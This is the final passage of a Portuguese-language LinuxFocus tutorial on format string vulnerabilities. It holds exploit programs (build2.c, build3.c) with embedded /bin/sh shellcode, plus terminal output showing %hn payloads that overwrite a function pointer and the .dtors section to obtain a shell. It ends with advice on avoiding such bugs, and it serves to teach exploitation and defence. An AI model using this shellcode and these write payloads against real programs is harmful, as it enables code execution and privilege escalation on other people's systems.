</PRE>

    <P>Verificamos imediatamente que os endere&ccedil;os alocados para o
<CODE>arg</CODE> e <CODE>argv</CODE> n&atilde;o se alteram mais ap&oacute;s a segunda
chamada. Vamos utilizar esta propriedade na nossa explora&ccedil;&atilde;o. S&oacute; temos de
modificar ligeiramente o nosso programa <CODE>build</CODE> de maneira a que
se chame a si pr&oacute;prio antes de chamar o <CODE>vuln</CODE>. Ent&atilde;o, obtemos o
endere&ccedil;o exacto de <CODE>argv</CODE> e o do nosso c&oacute;digo da shell.:</P>
<PRE>
/* build2.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Same function as in build.c
}

int
main(int argc, char **argv) {

  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc &lt; 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &amp;shellcode,
        atoi(argv[2]));              /* offset */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &amp;shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
        argv[2],
        atoi(argv[4]));              /* offset */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}
</PRE>

    <P>O truque &eacute; que n&oacute;s sabemos o que chamar segundo o n&uacute;mero de
argumentos que o programa recebeu. Para iniciar a nossa explora&ccedil;&atilde;o, damos
somente ao <CODE>build2</CODE> o endere&ccedil;o para o qual queremos escrever e o
comprimento. J&aacute; n&atilde;o temos de dar mais o valor visto que &eacute; avaliado nas
chamadas sucessivas.</P>

    <P>Para termos sucesso, precisamos de montar a mesma estrutura da
mem&oacute;ria nas diferentes chamadas do <CODE>build2</CODE> e depois do
<CODE>vuln</CODE> (&eacute; por isso que chamamos a fun&ccedil;&atilde;o <CODE>build()</CODE>,
no sentido de utilizar a mesma impress&atilde;o digital da mem&oacute;ria):</P>
<pre>
&gt;&gt;./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

</pre>

    <P>Porque &eacute; que isto n&atilde;o trabalha? Dissemos que t&iacute;nhamos de construir
a c&oacute;pia exacta da mem&oacute;ria entre as duas chamadas ... e n&atilde;o o fizemos! O
<CODE>argv[0]</CODE> (o nome do programa) alterou-se. O nosso programa &eacute;
primeiro chamado <CODE>build2</CODE> (6 bytes) e depois o <CODE>vuln</CODE>
(4 bytes). Existe uma diferen&ccedil;a de 2 bytes, o que &eacute; exactamente o valor que
pode reparar no exemplo acima. O endere&ccedil;o do c&oacute;digo da shell durante a
segunda chamada do <CODE>build2</CODE> &eacute; dado por
<CODE>sc=0xbffff88f</CODE> mas o conte&uacute;do do <CODE>argv[2]</CODE> no
<CODE>vuln</CODE> d&aacute; <CODE>20xbffff891</CODE>: os nossos 2 bytes. Para
resolver isto, basta renomear o nosso <CODE>build2</CODE> para somente 4
letras, por exemplo <CODE>bui2</CODE>:</P>
<pre>
&gt;&gt;cp build2 bui2
&gt;&gt;./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$
<br>
</pre>

    <P>Ganh&aacute;mos Novamente : Trabalha muito melhor deste modo ;-) O eggshell
est&aacute; na pilha e alter&aacute;mos o endere&ccedil;o apontado por <CODE>ptrf</CODE> para o
novo c&oacute;digo da shell. Claro, que s&oacute; pode acontecer se a pilha for
execut&aacute;vel.</P>

    <P>Mas vimos que a formata&ccedil;&atilde;o de strings permitem-nos escrever em
qualquer s&iacute;tio: adicionemos um destruidor ao nosso programa na sec&ccedil;&atilde;o <CODE>.dtors</CODE>:</P>
<pre>
&gt;&gt;objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........
&gt;&gt;./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[&AElig;&Auml;%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[&AElig;&Auml;%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [&AElig;&Auml;000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
&gt;&gt;

</pre>

    <P>Aqui, n&atilde;o &eacute; criado nenhum <CODE>coredump</CODE> ao sair do
destruidor. Isto deve-se ao facto do c&oacute;digo da shell conter uma chamada <CODE>exit(0)</CODE>.</P>

    <P>Em conclus&atilde;o, como &uacute;ltimo presente, aqui est&aacute; o
<CODE>build3.c</CODE> que tamb&eacute;m d&aacute; a shell, mas passado de uma vari&aacute;vel de
ambiente:</P>
<PRE>
/* build3.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //M&ecirc;me fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &amp;shellcode,
        atoi(argv[2]));              /* offset */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&amp;shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }

  return 0;
}
</PRE>

    <P>Mais uma vez, visto que este ambiente est&aacute; na pilha, precisamos de
ter cuidado para n&atilde;o modificar a mem&oacute;ria (por exemplo alternando a posi&ccedil;&atilde;o
das vari&aacute;veis e dos argumentos) O nome bin&aacute;rio deve ter o mesmo n&uacute;mero de
caracteres que o nome do programa vulner&aacute;vel <CODE>vuln</CODE> tem.</P>

    <P>Aqui, escolhemos utilizar a vari&aacute;vel <CODE>extern char
**environ</CODE> para definir os valores que precisamos:</P>

    <OL>
      <LI><CODE>environ[0]</CODE>: cont&eacute;m o c&oacute;digo da shell;</LI>

      <LI><CODE>environ[1]</CODE>: cont&eacute;m o endere&ccedil;o onde esperamos
escrever;</LI>

      <LI><CODE>environ[2]</CODE>: cont&eacute;m o comprimento.</LI>
    </OL>
    Deixamo-lo, a jogar com ... este (longo) artigo j&aacute; muito preenchido com
muito c&oacute;digo e programas de teste.

    <A NAME="191lfindex16">&nbsp;</A>
<H2>Conclus&atilde;o : Como evitar bugs de formata&ccedil;&atilde;o ?</H2>

    Como mostrado no artigo, o principal problema com este bug prov&eacute;m da
liberdade dada ao utilizador para construir a sua pr&oacute;pria string de
formata&ccedil;&atilde;o. A solu&ccedil;&atilde;o para evitar tal falha &eacute; simples: <FONT color="#ff0000"> Nunca deixe um
utilizador fornecer a seu pr&oacute;pria string de formata&ccedil;&atilde;o</FONT>! Muitas vezes isto
simplesmente significa inserir uma string <CODE>"%s"</CODE> quando fun&ccedil;ões
como o <CODE>printf()</CODE>, o <CODE>syslog()</CODE>, ..., s&atilde;o chamadas.
Se realmente n&atilde;o conseguir evitar isto, ent&atilde;o tem de verificar
cuidadosamente todas as entradas dadas pelo utilizador muito
cuidadosamente.
    <HR>

    <A NAME="191lfindex17">&nbsp;</A>
<H2>Agradecimentos</H2>

    Os autores agradecem a Pascal <EM>Kalou</EM> Bouchareine pela sua
paci&ecirc;ncia (ele teve de encontrar porque &eacute; que a nossa explora&ccedil;&atilde;o com o
c&oacute;digo da shell na pilha n&atilde;o funcionava ... e tamb&eacute;m o porqu&ecirc; desta mesma
pilha n&atilde;o estar execut&aacute;vel), suas ideias (mais particularmente pelo truque
<CODE>exec*()</CODE>), pelos seus encorajamentos ... mas tamb&eacute;m pelo seu
artigo acerca de bugs de formata&ccedil;&atilde;o o qual causou, em adi&ccedil;&atilde;o ao nosso
interesse na quest&atilde;o, uma intensa agita&ccedil;&atilde;o cerebral ;-)

    <P></P>

    <A NAME="191lfindex18">&nbsp;</A>
<H2>Links</H2>


    <UL>
      <LI><EM>Bugs de Formata&ccedil;&atilde;o: O que s&atilde;o, Donde vieram, como explor&aacute;-los
a partir de lamagra <A href= "http://lamagra.sekure.de/">lamagra.sekure.de</A></LI>

      <LI><EM>Vulnerabilidade da formata&ccedil;&atilde;o de strings </EM> de P. Bouchareine: <A
      href="http://www.hert.org">www.hert.org</A></LI>

      <LI><EM>Ataques de Formata&ccedil;&atilde;o de String</EM> de Tim Newsham: <A href=
      "http://www.guardent.com">http://www.guardent.com</A></LI>

      <LI><EM>w00w00 on Heap Overflows</EM> deMatt Conover (a.k.a.
      Shok) &amp; w00w00 Security Team: <A href=
      "http://www.w00w00.org">http://www.w00w00.org</A></LI>

      <LI><EM>Sobrepondo a sec&ccedil;&atilde;o .dtors </EM> de Juan M. Bello
      Rivas (a.k.a. rwxrwxrwx): <A href=
      "http://synnergy.net">http://synnergy.net</A></LI>
    </UL>
    <HR>

    <H4>Notas de Rodap&eacute;</H4>

    <DL>
      <DT><A name="foot1"></A>... commands<A name="foot1" href=
      "#foot1"></A><SUP><A href="#foot1" name="foot1">1</A></SUP></DT>

      <DD>a palavra <EM>command</EM> significa aqui tudo o que afecta a
formata&ccedil;&atilde;o de strings: o tamanho, a precis&atilde;o, ... </DD>
    </DL>

    <DL>
      <DT><A name="foot2"></A>... bytes<A name="foot2" href=
      "#foot2"></A><SUP><A href="#foot2" name="foot2">2</A></SUP></DT>

      <DD>o -1 prov&eacute;m do &uacute;ltimo caracter reservado para o '\0'.</DD>
    </DL>
    <HR>
  



<!-- 2pdaIgnoreStart -->
<A NAME="talkback">&nbsp;</a>
<h2>Forma de respostas para este artigo</h2>
Todo artigo tem sua pr&oacute;pria p&aacute;gina de respostas. Nesta p&aacute;gina voc&ecirc; pode enviar um coment&aacute;rio ou ver os coment&aacute;rios de outros leitores:
<center>
<table border="0"  CELLSPACING="2" CELLPADDING="1">
 <tr BGCOLOR="#C2C2C2"><td align=center>
  <table border="3"  CELLSPACING="2" CELLPADDING="1">
   <tr BGCOLOR="#C2C2C2"><td align=center>
    <A href="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=191&lang=pt"><b>&nbsp;p&aacute;gina de respostas&nbsp;</b></a>
   </td></tr></table>
</td></tr></table>
</center>

<HR size="2" noshade>
<!-- ARTICLE FOOT -->
<CENTER><TABLE WIDTH="95%">
<TR><TD ALIGN=CENTER BGCOLOR="#9999AA">
<A HREF="../../common/lfteam.html">P&aacute;ginas Web mantidas pelo time de Editores LinuxFocus</A>
<BR><FONT COLOR="#FFFFFF">&copy; Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier, <a href="../../common/copy.html">FDL</a> <BR><a href="http://www.linuxfocus.org">LinuxFocus.org</a></FONT>
<BR><a href="http://cgi.linuxfocus.org/cgi-bin/lfcomment?lang=pt&article=article191.shtml" target="_TOP">Clique aqui para reportar uma falha ou para enviar um coment&aacute;rio para LinuxFocus</A><BR></TD>
<TD BGCOLOR="#9999AA"><!-- TRANSLATION INFO -->
<font size=2>Informa&ccedil;&atilde;o sobre tradu&ccedil;&atilde;o:</font><TABLE>
<tr><td><font size=2>fr</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>--</font></td>
    <td><font size=2><a href="mailto:pappy&#64;users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"><FONT COLOR="#FFFFFF">Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier</FONT></a></font></td>
</tr>
<tr><td><font size=2>fr</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>en</font></td>
    <td><font size=2><a href="mailto:pappy&#64;users.sourceforge.net"><FONT COLOR="#FFFFFF">Fr&eacute;d&eacute;ric</FONT></a></font></td>
</tr>
<tr><td><font size=2>en</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>en</font></td>
    <td><font size=2><a href="mailto:sherm_pbody&#64;yahoo.com"><FONT COLOR="#FFFFFF">Lorne Bailey</FONT></a></font></td>
</tr>
<tr><td><font size=2>en</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>pt</font></td>
    <td><font size=2><a href="mailto:bruno&#64;linuxfocus.org"><FONT COLOR="#FFFFFF">Bruno Sousa</FONT></a></font></td>
</tr>
</TABLE></TD>
</TR></TABLE></CENTER>
<p><font size=1>2001-09-28, generated by lfparser version 2.17</font></p>
<!-- 2pdaIgnoreStop -->
</BODY>
</HTML>